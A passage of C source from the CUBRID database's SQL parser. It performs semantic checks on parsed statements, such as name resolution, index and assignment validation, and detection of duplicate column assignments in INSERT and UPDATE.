if (cte_attr->alias_print == NULL && cte_attr->node_type != PT_NAME && cte_attr->node_type != PT_DOT_)
{
return cte_attr;
}
}
}
cte_part = cte->info.cte.recursive_part;
if (cte_part)
{
for (cte_attr = pt_get_select_list (parser, cte_part); cte_attr != NULL; cte_attr = cte_attr->next)
{
if (cte_attr->alias_print == NULL && cte_attr->node_type != PT_NAME && cte_attr->node_type != PT_DOT_)
{
return cte_attr;
}
}
}
}
}
return NULL;
}
/*
* pt_check_with_info () - do name resolution & semantic checks on this tree
* return: statement if no errors, NULL otherwise
* parser(in): the parser context
* node(in): a parsed sql statement that needs to be checked.
* info(in): NULL or info->attrdefs is a vclass' attribute defs list
*/
static PT_NODE *
pt_check_with_info (PARSER_CONTEXT * parser, PT_NODE * node, SEMANTIC_CHK_INFO * info)
{
PT_NODE *next;
SEMANTIC_CHK_INFO sc_info = { NULL, NULL, 0, 0, 0, false, false };
SEMANTIC_CHK_INFO *sc_info_ptr = info;
bool save_donot_fold = false;
assert (parser != NULL);
if (!node)
{
return NULL;
}
/* If it is an internally created statement, set its host variable info again to search host variables at parent
* parser */
SET_HOST_VARIABLES_IF_INTERNAL_STATEMENT (parser);
if (sc_info_ptr == NULL)
{
sc_info_ptr = &sc_info;
}
if (info)
{
save_donot_fold = sc_info_ptr->donot_fold; /* save */
}
sc_info_ptr->top_node = node;
sc_info_ptr->donot_fold = false;
next = node->next;
node->next = NULL;
switch (node->node_type)
{
case PT_UPDATE:
/*
* If it is an update object, get the object to update, and create an
* entity so that pt_resolve_names will work.
* THIS NEEDS TO BE MOVED INTO RESOLVE NAMES.
*/
if (node->info.update.object_parameter != NULL)
{
pt_resolve_object (parser, node);
}
/* FALLTHRU */
case PT_HOST_VAR:
case PT_EXPR:
case PT_NAME:
case PT_VALUE:
case PT_FUNCTION:
case PT_DELETE:
case PT_INSERT:
case PT_METHOD_CALL:
case PT_UNION:
case PT_INTERSECTION:
case PT_DIFFERENCE:
case PT_SELECT:
case PT_EVALUATE:
case PT_SET_XACTION:
case PT_SCOPE:
case PT_DO:
case PT_SET_SESSION_VARIABLES:
case PT_MERGE:
#if 0 /* to disable TEXT */
/* we postpone TEXT resolution of a insert statement at '*' resolution if (node->node_type == PT_INSERT) {
* pt_resolve_insert_external(parser, node); } else */
if (node->node_type == PT_DELETE)
{
pt_resolve_delete_external (parser, node);
}
else if (node->node_type == PT_UPDATE)
{
pt_resolve_update_external (parser, node);
}
#endif /* 0 */
if (!pt_has_error (parser))
{
if ((node->node_type == PT_INSERT && node->info.insert.spec->info.spec.remote_server_name)
|| (node->node_type == PT_DELETE && node->info.delete_.spec->info.spec.remote_server_name)
|| (node->node_type == PT_UPDATE && node->info.update.spec->info.spec.remote_server_name)
|| (node->node_type == PT_MERGE && node->info.merge.into->info.spec.remote_server_name))
{
break;
}
}
sc_info_ptr->system_class = false;
node = pt_resolve_names (parser, node, sc_info_ptr);
if (!pt_has_error (parser))
{
node = pt_check_where (parser, node);
}
if (!pt_has_error (parser))
{
if (sc_info_ptr->system_class && PT_IS_QUERY (node))
{
/* do not cache the result if a system class is involved in the query */
node->info.query.flag.reexecute = 1;
node->info.query.flag.do_cache = 0;
node->info.query.flag.do_not_cache = 1;
node->info.query.flag.has_system_class = 1;
}
if (node->node_type == PT_UPDATE || node->node_type == PT_DELETE || node->node_type == PT_INSERT
|| node->node_type == PT_UNION || node->node_type == PT_INTERSECTION || node->node_type == PT_DIFFERENCE
|| node->node_type == PT_SELECT || node->node_type == PT_DO || node->node_type == PT_SET_SESSION_VARIABLES
|| node->node_type == PT_MERGE)
{
/* may have WHERE clause */
int check = 0;
node = parser_walk_tree (parser, node, pt_check_and_replace_hostvar, &check, pt_continue_walk, NULL);
if (check)
{
node->flag.cannot_prepare = 1;
}
/* because the statement has some object type PT_PARAMETER, it cannot be prepared */
if (parent_parser != NULL)
{
node->flag.cannot_prepare = 1;
}
}
node = parser_walk_tree (parser, node, pt_mark_union_leaf_nodes, NULL, pt_continue_walk, NULL);
if (!pt_has_error (parser))
{
/* remove unnecessary variable */
node = parser_walk_tree (parser, node, NULL, NULL, pt_semantic_check_local, sc_info_ptr);
if (!pt_has_error (parser))
{
/* This must be done before CNF since we are adding disjuncts to the "IS NULL" expression. */
node = parser_walk_tree (parser, node, pt_expand_isnull_preds, node, NULL, NULL);
}
}
}
break;
case PT_CREATE_INDEX:
case PT_ALTER_INDEX:
case PT_DROP_INDEX:
if (parser->host_var_count)
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_HOSTVAR_IN_DDL);
}
else
{
sc_info_ptr->system_class = false;
node = pt_resolve_names (parser, node, sc_info_ptr);
if (!pt_has_error (parser) && node->node_type == PT_CREATE_INDEX)
{
pt_check_create_index (parser, node);
}
if (!pt_has_error (parser) && (node->node_type == PT_DROP_INDEX || node->node_type == PT_ALTER_INDEX))
{
pt_check_function_index_expr (parser, node);
}
if (!pt_has_error (parser) && node->node_type == PT_ALTER_INDEX)
{
DB_OBJECT *db_obj = NULL;
PT_NODE *name = NULL;
if (node->info.index.indexed_class)
{
name = node->info.index.indexed_class->info.spec.entity_name;
db_obj = db_find_class (name->info.name.original);
if (db_obj == NULL)
{
PT_ERRORmf (parser, name, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_IS_NOT_A_CLASS,
name->info.name.original);
}
}
if (!pt_has_error (parser))
{
pt_check_filter_index_expr (parser, node->info.index.column_names, node->info.index.where, db_obj);
}
}
if (!pt_has_error (parser))
{
node = pt_semantic_type (parser, node, info);
}
if (node && !pt_has_error (parser))
{
if (node->info.index.where && pt_false_search_condition (parser, node->info.index.where))
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_FILTER_INDEX,
pt_short_print (parser, node->info.index.where));
}
}
if (node && !pt_has_error (parser))
{
if (node->info.index.function_expr
&& !pt_is_function_index_expr (parser, node->info.index.function_expr->info.sort_spec.expr, true))
{
break;
}
}
if (node && !pt_has_error (parser))
{
node = parser_walk_tree (parser, node, NULL, NULL, pt_semantic_check_local, sc_info_ptr);
if (!pt_has_error (parser))
{
/* This must be done before CNF since we are adding disjuncts to the "IS NULL" expression. */
node = parser_walk_tree (parser, node, pt_expand_isnull_preds, node, NULL, NULL);
}
}
}
break;
case PT_SAVEPOINT:
if ((node->info.savepoint.save_name) && (node->info.savepoint.save_name->info.name.meta_class == PT_PARAMETER))
{
node = pt_resolve_names (parser, node, sc_info_ptr);
}
break;
case PT_ROLLBACK_WORK:
if ((node->info.rollback_work.save_name)
&& (node->info.rollback_work.save_name->info.name.meta_class == PT_PARAMETER))
{
node = pt_resolve_names (parser, node, sc_info_ptr);
}
break;
case PT_AUTH_CMD:
break; /* see GRANT/REVOKE */
case PT_DROP:
pt_check_drop (parser, node);
break;
case PT_VACUUM:
pt_check_vacuum (parser, node);
break;
case PT_GRANT:
case PT_REVOKE:
pt_check_grant_revoke (parser, node);
break;
case PT_TRUNCATE:
pt_check_truncate (parser, node);
break;
case PT_KILL_STMT:
pt_check_kill (parser, node);
break;
case PT_ALTER_SERIAL:
case PT_ALTER_TRIGGER:
case PT_ALTER_USER:
case PT_CREATE_SERIAL:
case PT_CREATE_TRIGGER:
case PT_DROP_SERIAL:
case PT_DROP_TRIGGER:
case PT_DROP_USER:
case PT_RENAME:
case PT_RENAME_TRIGGER:
break;
case PT_UPDATE_STATS:
pt_check_update_stats (parser, node);
break;
case PT_CREATE_SERVER:
case PT_DROP_SERVER:
case PT_RENAME_SERVER:
case PT_ALTER_SERVER:
break;
case PT_ALTER:
pt_check_alter (parser, node);
if (node->info.alter.code == PT_ADD_ATTR_MTHD || node->info.alter.code == PT_ADD_INDEX_CLAUSE)
{
if (parser->host_var_count)
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_HOSTVAR_IN_DDL);
break;
}
}
if (node->info.alter.code == PT_ADD_INDEX_CLAUSE)
{
/* apply typechecking on ALTER TABLE ADD INDEX statements, to check the expression in the WHERE clause of
* a partial index */
PT_NODE *p = node->info.alter.create_index;
assert (p != NULL);
while (p)
{
sc_info_ptr->system_class = false;
p = pt_resolve_names (parser, p, sc_info_ptr);
if (p && !pt_has_error (parser))
{
pt_check_create_index (parser, p);
}
if (!pt_has_error (parser))
{
p = pt_semantic_type (parser, p, info);
}
if (p && !pt_has_error (parser))
{
p = parser_walk_tree (parser, p, NULL, NULL, pt_semantic_check_local, sc_info_ptr);
if (p && !pt_has_error (parser))
{
/* This must be done before CNF since we are adding disjuncts to the "IS NULL" expression. */
p = parser_walk_tree (parser, p, pt_expand_isnull_preds, p, NULL, NULL);
}
}
if (p != NULL && !pt_has_error (parser) && p->info.index.function_expr != NULL
&& !pt_is_function_index_expr (parser, p->info.index.function_expr->info.sort_spec.expr, true))
{
break;
}
if (p && !pt_has_error (parser))
{
p = p->next;
}
else
{
break;
}
}
}
break;
case PT_CREATE_ENTITY:
pt_check_create_entity (parser, node);
break;
case PT_CREATE_USER:
pt_check_create_user (parser, node);
break;
case PT_ALTER_SYNONYM:
pt_check_alter_synonym (parser, node);
break;
case PT_CREATE_SYNONYM:
pt_check_create_synonym (parser, node);
break;
case PT_DROP_SYNONYM:
pt_check_drop_synonym (parser, node);
break;
case PT_RENAME_SYNONYM:
pt_check_rename_synonym (parser, node);
break;
default:
break;
}
/* restore list link, if any */
if (node)
{
node->next = next;
}
if (info)
{
sc_info_ptr->donot_fold = save_donot_fold; /* restore */
}
RESET_HOST_VARIABLES_IF_INTERNAL_STATEMENT (parser);
if (er_errid () == ER_LK_UNILATERALLY_ABORTED)
{
PT_ERRORc (parser, node, db_error_string (3));
}
if (pt_has_error (parser))
{
pt_register_orphan (parser, node);
return NULL;
}
else
{
return node;
}
}
/*
* pt_semantic_quick_check_node () - perform semantic validation on a
* node that is not necessarily part of a
* statement
* return : modified node or NULL on error
* parser (in) : parser context
* entity_name (in) : PT_NAME of the class containing attributes from node
* node (in) : node to check
*
* Note: Callers of this function need both the spec and the node after
* the call. This is why we have to pass pointers to PT_NODE*
*/
PT_NODE *
pt_semantic_quick_check_node (PARSER_CONTEXT * parser, PT_NODE ** spec_p, PT_NODE ** node_p)
{
SEMANTIC_CHK_INFO sc_info = { NULL, NULL, 0, 0, 0, false, false };
int error = NO_ERROR;
PT_NODE *node = NULL;
/* resolve names */
error = pt_quick_resolve_names (parser, spec_p, node_p, &sc_info);
if (error != NO_ERROR || pt_has_error (parser))
{
return NULL;
}
node = *node_p;
/* perform semantic check */
node = pt_semantic_type (parser, node, &sc_info);
if (node == NULL)
{
return NULL;
}
node_p = &node;
return node;
}
/*
* pt_semantic_check () -
* return: PT_NODE *(modified) if no errors, else NULL if errors
* parser(in):
* node(in): statement a parsed sql statement that needs to be checked
*/
PT_NODE *
pt_semantic_check (PARSER_CONTEXT * parser, PT_NODE * node)
{
return pt_check_with_info (parser, node, NULL);
}
/*
* pt_find_class () -
* return: DB_OBJECT * for the class whose name is in p,
* NULL if not a class name
* parser(in):
* p(in): a PT_NAME node
*
* Note :
* Finds CLASS VCLASS VIEW only
*/
static DB_OBJECT *
pt_find_class (PARSER_CONTEXT * parser, PT_NODE * p, bool for_update)
{
if (!p)
return 0;
if (p->node_type != PT_NAME)
return 0;
return db_find_class_with_purpose (p->info.name.original, for_update);
}
/*
* pt_check_unique_attr () - check that there are no duplicate attr
* in given list
* return: none
* parser(in): the parser context
* entity_name(in): class name or index name
* att(in): an attribute definition list
* att_type(in): an attribute definition type list
*/
static void
pt_check_unique_attr (PARSER_CONTEXT * parser, const char *entity_name, PT_NODE * att, PT_NODE_TYPE att_type)
{
PT_NODE *p, *q, *p_nam, *q_nam;
assert (parser != NULL);
if (!att)
{
return;
}
for (p = att; p; p = p->next)
{
if (p->node_type != att_type)
{
continue; /* give up */
}
p_nam = NULL; /* init */
if (att_type == PT_ATTR_DEF)
{
p_nam = p->info.attr_def.attr_name;
}
else if (att_type == PT_SORT_SPEC)
{
p_nam = p->info.sort_spec.expr;
}
if (p_nam == NULL || p_nam->node_type != PT_NAME)
{
continue; /* give up */
}
for (q = p->next; q; q = q->next)
{
if (q->node_type != att_type)
{
continue; /* give up */
}
q_nam = NULL; /* init */
if (att_type == PT_ATTR_DEF)
{
q_nam = q->info.attr_def.attr_name;
}
else if (att_type == PT_SORT_SPEC)
{
q_nam = q->info.sort_spec.expr;
}
if (q_nam == NULL || q_nam->node_type != PT_NAME)
{
continue; /* give up */
}
/* a class attribute and a normal attribute can have identical names */
if (att_type == PT_ATTR_DEF)
{
if (p->info.attr_def.attr_type != q->info.attr_def.attr_type)
{
continue; /* OK */
}
}
if (!pt_str_compare (p_nam->info.name.original, q_nam->info.name.original, CASE_INSENSITIVE))
{
if (att_type == PT_ATTR_DEF) /* is class entity */
{
PT_ERRORmf2 (parser, q_nam, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CLASS_ATTR_DUPLICATED,
q_nam->info.name.original, entity_name);
}
else /* is index entity */
{
PT_ERRORmf (parser, q_nam, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INDEX_ATTR_DUPLICATED,
q_nam->info.name.original);
}
}
}
}
}
/*
* pt_assignment_class_compatible () - Make sure that the rhs is a valid
* candidate for assignment into the lhs
* return: error_code
* parser(in): handle to context used to parse the insert statement
* lhs(in): the AST form of an attribute from the namelist part of an insert
* rhs(in): the AST form of an expression from the values part of an insert
*/
static int
pt_assignment_class_compatible (PARSER_CONTEXT * parser, PT_NODE * lhs, PT_NODE * rhs)
{
assert (parser != NULL);
assert (lhs != NULL);
assert (lhs->node_type == PT_NAME);
assert (lhs->type_enum != PT_TYPE_NONE);
assert (rhs != NULL);
if (lhs->node_type == PT_NAME)
{
if (lhs->type_enum == PT_TYPE_OBJECT)
{
if (!pt_class_assignable (parser, lhs->data_type, rhs))
{
/* incompatible object domains */
PT_ERRORmf (parser, rhs, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INCOMP_TYPE_ON_ATTR,
lhs->info.name.original);
return ER_FAILED;
}
}
}
return NO_ERROR;
}
/*
* pt_assignment_compatible () - Make sure that the rhs is a valid candidate
* for assignment into the lhs
* return: the rhs node if compatible, NULL for errors
* parser(in): handle to context used to parse the insert statement
* lhs(in): the AST form of an attribute from the namelist part of an insert
* rhs(in): the AST form of an expression from the values part of an insert
*/
static PT_NODE *
pt_assignment_compatible (PARSER_CONTEXT * parser, PT_NODE * lhs, PT_NODE * rhs)
{
assert (parser != NULL);
assert (lhs != NULL);
assert (lhs->node_type == PT_NAME);
assert (rhs != NULL);
if (lhs->type_enum == PT_TYPE_OBJECT)
{
if (rhs->node_type == PT_HOST_VAR && (rhs->type_enum == PT_TYPE_NONE || rhs->type_enum == PT_TYPE_MAYBE))
{
rhs->type_enum = lhs->type_enum;
rhs->data_type = parser_copy_tree_list (parser, lhs->data_type);
return rhs;
}
if (pt_assignment_class_compatible (parser, lhs, rhs) != NO_ERROR)
{
return NULL;
}
}
else
{
SEMAN_COMPATIBLE_INFO sci = {
0, PT_TYPE_NONE, 0, 0, false, pt_coll_infer (), NULL
};
bool is_cast_allowed = true;
sci.type_enum = lhs->type_enum;
if (lhs->data_type)
{
sci.prec = lhs->data_type->info.data_type.precision;
sci.scale = lhs->data_type->info.data_type.dec_precision;
if (lhs->type_enum == PT_TYPE_JSON && lhs->data_type->info.data_type.json_schema != NULL)
{
sci.force_cast = true;
}
}
if (PT_HAS_COLLATION (lhs->type_enum))
{
(void) pt_get_collation_info (lhs, &(sci.coll_infer));
}
if (pt_is_compatible_without_cast (parser, &sci, rhs, &is_cast_allowed))
{
return rhs;
}
if (!is_cast_allowed)
{
return NULL;
}
if (rhs->type_enum != PT_TYPE_NULL)
{
if (rhs->type_enum == PT_TYPE_MAYBE)
{
TP_DOMAIN *d;
if (lhs->type_enum == PT_TYPE_ENUMERATION)
{
d = pt_data_type_to_db_domain (parser, lhs->data_type, NULL);
d = tp_domain_cache (d);
}
else
{
DB_TYPE lhs_dbtype;
assert_release (!(PT_IS_STRING_TYPE (lhs->type_enum) || lhs->type_enum == PT_TYPE_NUMERIC)
|| lhs->data_type != NULL);
lhs_dbtype = pt_type_enum_to_db (lhs->type_enum);
if (rhs->node_type != PT_HOST_VAR)
{
// TODO: It should be considered for parameterized types, refer to PT_IS_PARAMETERIZED_TYPE()
if (lhs->type_enum == PT_TYPE_NUMERIC && lhs->data_type != NULL)
{
d = tp_domain_resolve (lhs_dbtype, NULL, sci.prec, sci.scale, NULL, 0);
}
else
{
d = tp_domain_resolve_default (lhs_dbtype);
}
}
else
{
TP_DOMAIN *hv_domain = NULL;
/* node_type is PT_HOST_VAR set host var's expected domain with next order of priority. 1.
* host_var->host_var_expected_domains[index] 2. lhs's expected domain 3. default domain of lhs
* type */
if (rhs->info.host_var.index < parser->host_var_count && parser->host_var_expected_domains)
{
hv_domain = parser->host_var_expected_domains[rhs->info.host_var.index];
}
if (hv_domain && hv_domain->type->id != DB_TYPE_UNKNOWN)
{
/* host var's expected domain is already set */
d = hv_domain;
if (TP_TYPE_HAS_COLLATION (TP_DOMAIN_TYPE (d)))
{
d->codeset = sci.coll_infer.codeset;
d->collation_id = sci.coll_infer.coll_id;
}
}
else
{
/* use lhs's expected_domain */
if (lhs->expected_domain != NULL)
{
d = lhs->expected_domain;
}
else
{
// TODO: It should be considered for parameterized types, refer to PT_IS_PARAMETERIZED_TYPE()
if (lhs->type_enum == PT_TYPE_NUMERIC && lhs->data_type != NULL)
{
d = tp_domain_resolve (lhs_dbtype, NULL, sci.prec, sci.scale, NULL, 0);
}
else
{
d = tp_domain_resolve_default (lhs_dbtype);
}
}
if (PT_HAS_COLLATION (lhs->type_enum))
{
d = tp_domain_copy (d, false);
d->codeset = sci.coll_infer.codeset;
d->collation_id = sci.coll_infer.coll_id;
d = tp_domain_cache (d);
}
}
}
}
pt_set_expected_domain (rhs, d);
if (rhs->node_type == PT_HOST_VAR)
{
pt_preset_hostvar (parser, rhs);
}
}
else
{
bool rhs_is_collection_with_str = false;
PT_NODE *cast_dt = NULL;
assert_release (!(PT_IS_STRING_TYPE (lhs->type_enum) || lhs->type_enum == PT_TYPE_NUMERIC)
|| lhs->data_type != NULL);
if (PT_IS_COLLECTION_TYPE (rhs->type_enum) && lhs->data_type == NULL && rhs->data_type != NULL)
{
PT_NODE *dt_element;
dt_element = rhs->data_type;
while (dt_element != NULL)
{
if (PT_IS_CHAR_STRING_TYPE (dt_element->type_enum))
{
rhs_is_collection_with_str = true;
break;
}
dt_element = dt_element->next;
}
}
if (PT_IS_COLLECTION_TYPE (lhs->type_enum) && PT_IS_COLLECTION_TYPE (rhs->type_enum)
&& lhs->data_type == NULL && rhs_is_collection_with_str == true)
{
PT_NODE *dt_element;
/* create a data type for lhs with with string having DB charset */
cast_dt = parser_copy_tree_list (parser, rhs->data_type);
dt_element = cast_dt;
while (dt_element != NULL)
{
if (PT_IS_CHAR_STRING_TYPE (dt_element->type_enum))
{
dt_element->info.data_type.collation_id = LANG_SYS_COLLATION;
dt_element->info.data_type.units = lang_charset ();
dt_element->info.data_type.collation_flag = TP_DOMAIN_COLL_NORMAL;
}
dt_element = dt_element->next;
}
}
else
{
cast_dt = lhs->data_type;
}
rhs = pt_wrap_with_cast_op (parser, rhs, lhs->type_enum, 0, 0, cast_dt);
if (cast_dt != NULL && cast_dt != lhs->data_type)
{
parser_free_tree (parser, cast_dt);
cast_dt = NULL;
}
/* the call to pt_wrap_with_cast_op might fail because a call to allocate memory failed. In this case,
* the error message is set by the calls inside pt_wrap_with_cast_op and we just return NULL */
}
}
}
return rhs;
}
/*
* pt_check_assignments () - assert that the lhs of the set clause are
* all pt_name nodes.
* This will guarantee that there are no complex path expressions.
* Also asserts that the right hand side is assignment compatible.
* return: none
* parser(in): the parser context
* stmt(in): an update or merge statement
*/
static void
pt_check_assignments (PARSER_CONTEXT * parser, PT_NODE * stmt)
{
PT_NODE *a, *next, *lhs, *rhs, *list, *rhs_list;
PT_NODE *assignment_list;
assert (parser != NULL);
assignment_list = pt_get_assignments (stmt);
if (assignment_list == NULL)
{
return;
}
for (a = assignment_list; a; a = next)
{
next = a->next; /* save next link */
if (a->node_type == PT_EXPR && a->info.expr.op == PT_ASSIGN && (lhs = a->info.expr.arg1) != NULL
&& (rhs = a->info.expr.arg2) != NULL)
{
if (lhs->node_type == PT_NAME)
{
if (pt_is_query (rhs))
{
/* check select list length */
rhs_list = pt_get_select_list (parser, rhs);
assert (rhs_list != NULL);
if (pt_length_of_select_list (rhs_list, EXCLUDE_HIDDEN_COLUMNS) != 1)
{
/* e.g., a = (select 1, 2 from ...) */
PT_ERRORm (parser, lhs, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_ILLEGAL_RHS);
}
else
{
(void) pt_assignment_class_compatible (parser, lhs, rhs_list);
}
}
else
{
/* Not a query, just check if assignment is possible. The call below will wrap the rhs node with a
* cast to the type of the lhs_node */
(void) pt_assignment_class_compatible (parser, lhs, rhs);
}
}
else if (lhs->node_type == PT_EXPR && PT_IS_N_COLUMN_UPDATE_EXPR (lhs) && (list = lhs->info.expr.arg1))
{
/* multi-column update with subquery CASE1: always-false subquery is already converted NULL. so, change
* NULL into NULL paren-expr (a) = NULL -> a = NULL (a, b) = NULL -> a = NULL, b = NULL CASE2: (a, b) =
* subquery */
if (rhs->type_enum == PT_TYPE_NA || rhs->type_enum == PT_TYPE_NULL)
{
/* CASE 1: flatten multi-column assignment expr */
PT_NODE *e1, *e1_next, *e2, *tmp;
a->next = NULL; /* cut-off expr link */
lhs->info.expr.arg1 = NULL; /* cut-off lhs link */
parser_free_tree (parser, lhs); /* free exp, arg1 */
parser_free_tree (parser, rhs); /* free exp, arg1 */
e2 = parser_new_node (parser, PT_VALUE);
if (e2 == NULL)
{
PT_ERRORm (parser, a, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
return;
}
e2->type_enum = PT_TYPE_NULL;
a->info.expr.arg1 = list;
a->info.expr.arg2 = e2;
e1 = list->next;
list->next = NULL;
tmp = NULL; /* init */
for (; e1; e1 = e1_next)
{
e1_next = e1->next;
e1->next = NULL;
e2 = parser_new_node (parser, PT_VALUE);
if (e2 == NULL)
{
PT_ERRORm (parser, a, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
return;
}
e2->type_enum = PT_TYPE_NULL;
tmp = parser_new_node (parser, PT_EXPR);
if (tmp == NULL)
{
PT_ERRORm (parser, a, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
return;
}
tmp->info.expr.op = PT_ASSIGN;
tmp->info.expr.arg1 = e1;
tmp->info.expr.arg2 = e2;
parser_append_node (tmp, a);
}
if (tmp == NULL)
{
a->next = next; /* (a) = NULL */
}
else
{
tmp->next = next; /* (a, b) = NULL */
}
}
else if (pt_is_query (rhs))
{
/* check select list length */
rhs_list = pt_get_select_list (parser, rhs);
assert (rhs_list != NULL);
if (pt_length_of_list (list) != pt_length_of_select_list (rhs_list, EXCLUDE_HIDDEN_COLUMNS))
{
PT_ERRORm (parser, lhs, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_ILLEGAL_LHS);
}
else
{
for (; list && rhs_list; rhs_list = rhs_list->next)
{
if (rhs_list->flag.is_hidden_column)
{
/* skip hidden column */
continue;
}
(void) pt_assignment_class_compatible (parser, list, rhs_list);
list = list->next;
}
assert (list == NULL);
assert (rhs_list == NULL);
}
}
}
else
{
PT_ERRORm (parser, lhs, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_ILLEGAL_LHS);
}
}
else
{
/* malformed assignment list */
PT_INTERNAL_ERROR (parser, "semantic");
}
}
}
/*
* pt_replace_names_in_update_values () - Walk through update assignments and
* replace references to attributes
* with assignments for those
* attributes
* return : UPDATE statement or NULL
* parser (in) : parser context
* update (in) : UPDATE parse tree
*
* Note: Update assignments are considered to be evaluate left to right.
* For each attribute referenced on the right side of an assignment, if the
* attribute was referenced in an assignment which appears in the UPDATE
* statement before this assignment (i.e.: to the left of this assigment)
* replace the value with that assignment.
*/
static PT_NODE *
pt_replace_names_in_update_values (PARSER_CONTEXT * parser, PT_NODE * update)
{
PT_NODE *attr = NULL, *val = NULL;
PT_NODE *node = NULL, *prev = NULL;
if (!prm_get_bool_value (PRM_ID_UPDATE_USE_ATTRIBUTE_REFERENCES))
{
/* Use SQL standard approach which always uses the existing value for an attribute rather than the updated value */
return update;
}
if (update == NULL)
{
return NULL;
}
prev = update->info.update.assignment;
if (prev == NULL)
{
return NULL;
}
if (prev->next == NULL)
{
/* only one assignment, nothing to be done */
return update;
}
for (node = prev->next; node != NULL; prev = node, node = node->next)
{
if (!PT_IS_EXPR_NODE (node) || node->info.expr.op != PT_ASSIGN)
{
/* this is probably an error but it will be caught later */
continue;
}
attr = node->info.expr.arg1;
if (PT_IS_N_COLUMN_UPDATE_EXPR (attr))
{
/* Cannot reference other assignments in N_COLUMN_UPDATE_EXPR */
continue;
}
val = node->info.expr.arg2;
if (val == NULL || PT_IS_CONST (val))
{
/* nothing to be done for constants */
continue;
}
/* This assignment is attr = expr. Walk expr and replace all occurrences of attributes with previous assignments.
* Set prev->next to NULL so that we only search in assignments to the left of the current one. */
prev->next = NULL;
val =
parser_walk_tree (parser, val, pt_replace_referenced_attributes, update->info.update.assignment, NULL, NULL);
if (val != NULL && val != node->info.expr.arg2)
{
parser_free_tree (parser, node->info.expr.arg2);
node->info.expr.arg2 = val;
}
/* repair node and list */
prev->next = node;
}
return update;
}
/*
* pt_replace_referenced_attributes () - replace an attributes with
* expressions from previous assignments
* return : node or NULL
* parser (in) :
* node (in) :
* arg (in) :
* continue_walk (in) :
*/
static PT_NODE *
pt_replace_referenced_attributes (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk)
{
PT_NODE *assignment = NULL, *val = NULL;
PT_NODE *assignments = (PT_NODE *) arg;
*continue_walk = PT_CONTINUE_WALK;
if (!pt_is_attr (node))
{
return node;
}
if (node->node_type != PT_NAME)
{
/* this is a PT_DOT, we don't have to go further */
*continue_walk = PT_LIST_WALK;
}
if (assignments == NULL)
{
assert_release (assignments != NULL);
return node;
}
/* search for name in assignments */
for (assignment = assignments; assignment != NULL; assignment = assignment->next)
{
if (PT_IS_N_COLUMN_UPDATE_EXPR (assignment))
{
continue;
}
if (pt_name_equal (parser, assignment->info.expr.arg1, node))
{
/* Found the attribute we're looking for */
break;
}
}
if (assignment == NULL)
{
/* Did not find the attribute. This means that UPDATE should use the existing value */
return node;
}
/* Replace node with rhs from the assignment. Notice that we're stopping at the first encounter of this attribute.
* Normally, we should find the last assignment (from left to right), but, since CUBRID does not allow multiple
* assignments to the same attribute, the first occurrence is the only one. */
val = parser_copy_tree (parser, assignment->info.expr.arg2);
if (val == NULL)
{
/* set error and return original node */
PT_INTERNAL_ERROR (parser, "allocate new node");
return node;
}
/* do not recurse into this node */
*continue_walk = PT_LIST_WALK;
return val;
}
/*
* pt_no_attr_and_meta_attr_updates () - check for mixed (class, non-class)
* assignments in the same update/merge statement
* return: none
* parser(in): the parser context
* stmt(in): an update/merge statement
*/
void
pt_no_attr_and_meta_attr_updates (PARSER_CONTEXT * parser, PT_NODE * statement)
{
bool has_attrib = false, has_meta_attrib = false;
PT_ASSIGNMENTS_HELPER ea;
PT_NODE *assignments;
assignments = pt_get_assignments (statement);
if (assignments == NULL)
{
return;
}
pt_init_assignments_helper (parser, &ea, assignments);
while (pt_get_next_assignment (&ea) && (!has_attrib || !has_meta_attrib))
{
if (ea.lhs->info.name.meta_class == PT_META_ATTR)
{
has_meta_attrib = true;
}
else
{
has_attrib = true;
}
}
if (has_attrib && has_meta_attrib)
{
PT_ERRORm (parser, statement, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_UPDATE_MIX_CLASS_NON_CLASS);
}
}
/*
* pt_node_double_insert_assignments () - Check if an attribute is assigned
* more than once.
*
* return : Void.
* parser (in) : Parser context.
* stmt (in) : Insert statement.
*/
void
pt_no_double_insert_assignments (PARSER_CONTEXT * parser, PT_NODE * stmt)
{
PT_NODE *attr = NULL, *spec = NULL;
PT_NODE *entity_name;
if (stmt == NULL || stmt->node_type != PT_INSERT)
{
return;
}
spec = stmt->info.insert.spec;
entity_name = spec->info.spec.entity_name;
if (entity_name == NULL)
{
assert (false);
PT_ERROR (parser, stmt,
"The parse tree of the insert statement is incorrect." " entity_name of spec must be set.");
return;
}
if (entity_name->info.name.original == NULL)
{
assert (false);
PT_ERROR (parser, entity_name, er_msg ());
return;
}
/* check for duplicate assignments */
for (attr = stmt->info.insert.attr_list; attr != NULL; attr = attr->next)
{
PT_NODE *attr2;
for (attr2 = attr->next; attr2 != NULL; attr2 = attr2->next)
{
if (pt_name_equal (parser, attr, attr2))
{
PT_ERRORmf2 (parser, attr2, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_GT_1_ASSIGNMENT_TO,
entity_name->info.name.original, attr2->info.name.original);
return;
}
}
}
}
/*
* pt_no_double_updates () - assert that there are no multiple assignments to
* the same attribute in the given update or merge statement
* return: none
* parser(in): the parser context
* stmt(in): an update or merge statement
*/
void
pt_no_double_updates (PARSER_CONTEXT * parser, PT_NODE * stmt)
{
PT_NODE *a, *b, *att_a, *att_b;
PT_NODE *assignment_list;
assert (parser != NULL);
assignment_list = pt_get_assignments (stmt);
if (assignment_list == NULL)
{
return;
}
